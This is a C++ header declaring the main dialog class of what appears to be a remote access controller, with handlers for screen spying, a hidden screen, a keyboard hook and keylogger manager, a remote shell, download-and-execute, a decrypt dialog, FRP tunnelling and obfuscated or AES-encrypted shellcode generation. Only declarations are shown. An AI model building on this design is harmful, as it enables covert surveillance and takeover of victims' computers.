// 2015RemoteDlg.h : 头文件 // #pragma once #include "afxcmn.h" #include "TrueColorToolBar.h" #include "IOCPServer.h" ////////////////////////////////////////////////////////////////////////// // 以下为特殊需求使用 // 是否在退出主控端时也退出客户端 #define CLIENT_EXIT_WITH_SERVER 0 typedef struct DllInfo { std::string Name; Buffer* Data; ~DllInfo() { SAFE_DELETE(Data); } } DllInfo; #define ID_DYNAMIC_MENU_BASE 36500 ////////////////////////////////////////////////////////////////////////// #include #include #include "CGridDialog.h" #include enum { MAP_NOTE, MAP_LOCATION, MAP_LEVEL, }; struct _ClientValue { char Note[64]; char Location[64]; char Level; char Reserved[127]; // 预留 _ClientValue() { memset(this, 0, sizeof(_ClientValue)); } _ClientValue(const CString& loc, const CString& s) { memset(this, 0, sizeof(_ClientValue)); strcpy_s(Note, s.GetString()); strcpy_s(Location, loc.GetString()); } void UpdateNote(const CString& s) { strcpy_s(Note, s.GetString()); } void UpdateLocation(const CString& loc) { strcpy_s(Location, loc.GetString()); } void UpdateLevel(int level) { Level = level; } const char* GetNote() const { return Note; } const char* GetLocation() const { return Location; } int GetLevel() const { return Level; } int GetLength() const { return sizeof(_ClientValue); } }; typedef uint64_t ClientKey; typedef _ClientValue ClientValue; typedef std::unordered_map ComputerNoteMap; // 保存 unordered_map 到文件 void SaveToFile(const ComputerNoteMap& data, const std::string& filename); // 从文件读取 unordered_map 数据 void LoadFromFile(ComputerNoteMap& data, const std::string& filename); ////////////////////////////////////////////////////////////////////////// enum { PAYLOAD_DLL_X86 = 0, // 32位 DLL PAYLOAD_DLL_X64 = 1, // 64位 DLL PAYLOAD_MAXTYPE }; // CMy2015RemoteDlg 对话框 class CMy2015RemoteDlg : public CDialogEx { protected: ComputerNoteMap m_ClientMap; CString GetClientMapData(ClientKey key, int typ) { EnterCriticalSection(&m_cs); auto f = m_ClientMap.find(key); CString r; if (f != m_ClientMap.end()) { switch (typ) { case MAP_NOTE: r = f->second.GetNote(); break; case MAP_LOCATION: r = f->second.GetLocation(); break; default: break; } } LeaveCriticalSection(&m_cs); return r; } void SetClientMapData(ClientKey key, int typ, const char* value) { EnterCriticalSection(&m_cs); switch (typ) { case MAP_NOTE: m_ClientMap[key].UpdateNote(value); break; case MAP_LOCATION: m_ClientMap[key].UpdateLocation(value); break; default: break; } LeaveCriticalSection(&m_cs); } // 构造 public: CMy2015RemoteDlg(CWnd* pParent = NULL); // 标准构造函数 ~CMy2015RemoteDlg(); // 对话框数据 enum { IDD = IDD_MY2015REMOTE_DIALOG }; protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 // 实现 protected: HICON m_hIcon; void* m_tinyDLL; std::string m_superPass; // 生成的消息映射函数 virtual BOOL OnInitDialog(); afx_msg void OnSysCommand(UINT nID, LPARAM lParam); afx_msg void OnPaint(); afx_msg HCURSOR OnQueryDragIcon(); DECLARE_MESSAGE_MAP() public: void SortByColumn(int nColumn); afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult); static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort); template LRESULT OpenDialog(WPARAM wParam, LPARAM lParam) { CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; T* Dlg = new T(this, ContextObject->GetServer(), ContextObject); BOOL isGrid = id == IDD_DIALOG_SCREEN_SPY; BOOL ok = (isGrid&&m_gridDlg) ? m_gridDlg->HasSlot() : FALSE; Dlg->Create(id, ok ? m_gridDlg : GetDesktopWindow()); Dlg->ShowWindow(Show); if (ok) { m_gridDlg->AddChild((CDialog*)Dlg); LONG style = ::GetWindowLong(Dlg->GetSafeHwnd(), GWL_STYLE); style &= ~(WS_CAPTION | WS_SIZEBOX); // 去掉标题栏和调整大小 ::SetWindowLong(Dlg->GetSafeHwnd(), GWL_STYLE, style); ::SetWindowPos(Dlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER | SWP_FRAMECHANGED); m_gridDlg->ShowWindow(isGrid ? SW_SHOWMAXIMIZED : SW_HIDE); } ContextObject->hWnd = Dlg->GetSafeHwnd(); ContextObject->hDlg = Dlg; if(id == IDD_DIALOG_SCREEN_SPY) m_RemoteWnds[Dlg->GetSafeHwnd()]=(CDialogBase*)Dlg; return 0; } VOID InitControl(); //初始控件 VOID TestOnline(); //测试函数 VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, CString ver, CString startTime, const std::vector& v, CONTEXT_OBJECT* ContextObject); VOID ShowMessage(CString strType, CString strMsg); VOID CreatStatusBar(); VOID CreateToolBar(); VOID CreateNotifyBar(); VOID CreateSolidMenu(); int m_nMaxConnection; BOOL Activate(const std::string& nPort, int nMaxConnection, const std::string& method); void UpdateActiveWindow(CONTEXT_OBJECT* ctx); void SendMasterSettings(CONTEXT_OBJECT* ctx); VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit); Buffer* m_ServerDLL[PAYLOAD_MAXTYPE]; Buffer* m_ServerBin[PAYLOAD_MAXTYPE]; MasterSettings m_settings; static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject); static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject); VOID MessageHandle(CONTEXT_OBJECT* ContextObject); VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength); // 显示用户上线信息 CWnd* m_pFloatingTip = nullptr; CListCtrl m_CList_Online; CListCtrl m_CList_Message; std::set m_HostList; std::set m_GroupList; std::string m_selectedGroup; void LoadListData(const std::string& group); void DeletePopupWindow(); CStatusBar m_StatusBar; //状态条 CTrueColorToolBar m_ToolBar; CGridDialog * m_gridDlg = NULL; std::vector m_DllList; NOTIFYICONDATA m_Nid; HANDLE m_hExit; CRITICAL_SECTION m_cs; BOOL isClosed; CMenu m_MainMenu; CBitmap m_bmOnline[18]; uint64_t m_superID; std::map m_RemoteWnds; CDialogBase* GetRemoteWindow(HWND hWnd); void RemoveRemoteWindow(HWND wnd); CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无 afx_msg LRESULT OnSessionActivatedMsg(WPARAM wParam, LPARAM lParam); static LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam); HHOOK g_hKeyboardHook = NULL; enum { STATUS_UNKNOWN = -1, STATUS_RUN = 0, STATUS_STOP = 1, STATUS_EXIT = 2, }; HANDLE m_hFRPThread = NULL; int m_frpStatus = STATUS_UNKNOWN; static DWORD WINAPI StartFrpClient(LPVOID param); void ApplyFrpSettings(); bool CheckValid(int trail = 14); afx_msg void OnTimer(UINT_PTR nIDEvent); afx_msg void OnClose(); void Release(); afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult); afx_msg void OnOnlineMessage(); afx_msg void OnOnlineDelete(); afx_msg void OnOnlineUpdate(); afx_msg void OnAbout(); afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam); afx_msg void OnNotifyShow(); afx_msg void OnNotifyExit(); afx_msg void OnMainSet(); afx_msg void OnMainExit(); afx_msg void OnOnlineCmdManager(); afx_msg void OnOnlineProcessManager(); afx_msg void OnOnlineWindowManager(); afx_msg void OnOnlineDesktopManager(); afx_msg void OnOnlineAudioManager(); afx_msg void OnOnlineVideoManager(); afx_msg void OnOnlineFileManager(); afx_msg void OnOnlineServerManager(); afx_msg void OnOnlineRegisterManager(); afx_msg VOID OnOnlineKeyboardManager(); afx_msg void OnOnlineBuildClient(); afx_msg LRESULT OnUserToOnlineList(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnUserOfflineMsg(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenFileManagerDialog(WPARAM wParam,LPARAM lParam); afx_msg LRESULT OnOpenTalkDialog(WPARAM wPrarm,LPARAM lParam); afx_msg LRESULT OnOpenShellDialog(WPARAM wParam,LPARAM lParam); afx_msg LRESULT OnOpenSystemDialog(WPARAM wParam,LPARAM lParam); afx_msg LRESULT OnOpenAudioDialog(WPARAM wParam,LPARAM lParam); afx_msg LRESULT OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenServicesDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenHideScreenDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenChatDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenDrawingBoard(WPARAM wParam, LPARAM lParam); afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam); afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo); virtual BOOL PreTranslateMessage(MSG* pMsg); afx_msg void OnOnlineShare(); afx_msg void OnToolAuth(); afx_msg void OnToolGenMaster(); afx_msg void OnMainProxy(); afx_msg void OnOnlineHostnote(); afx_msg void OnHelpImportant(); afx_msg void OnHelpFeedback(); afx_msg void OnDynamicSubMenu(UINT nID); afx_msg void OnOnlineVirtualDesktop(); afx_msg void OnOnlineGrayDesktop(); afx_msg void OnOnlineRemoteDesktop(); afx_msg void OnOnlineH264Desktop(); afx_msg void OnWhatIsThis(); afx_msg void OnOnlineAuthorize(); void OnListClick(NMHDR* pNMHDR, LRESULT* pResult); afx_msg void OnOnlineUnauthorize(); afx_msg void OnToolRequestAuth(); afx_msg LRESULT OnPasswordCheck(WPARAM wParam, LPARAM lParam); afx_msg void OnToolInputPassword(); afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam); afx_msg void OnToolGenShellcode(); afx_msg void OnOnlineAssignTo(); afx_msg void OnNMCustomdrawMessage(NMHDR* pNMHDR, LRESULT* pResult); afx_msg void OnOnlineAddWatch(); afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult); afx_msg void OnOnlineRunAsAdmin(); afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam); afx_msg void OnMainWallet(); afx_msg void OnToolRcedit(); afx_msg void OnOnlineUninstall(); afx_msg void OnOnlinePrivateScreen(); CTabCtrl m_GroupTab; afx_msg void OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult); afx_msg void OnObfsShellcode(); afx_msg void OnOnlineRegroup(); afx_msg void OnMachineShutdown(); afx_msg void OnMachineReboot(); afx_msg void OnExecuteDownload(); afx_msg void OnExecuteUpload(); afx_msg void OnMachineLogout(); void MachineManage(MachineCommand type); afx_msg void OnDestroy(); afx_msg void OnToolGenShellcodeBin(); afx_msg void OnShellcodeLoadTest(); afx_msg void OnShellcodeObfsLoadTest(); afx_msg void OnObfsShellcodeBin(); afx_msg void OnShellcodeAesBin(); afx_msg void OnShellcodeTestAesBin(); };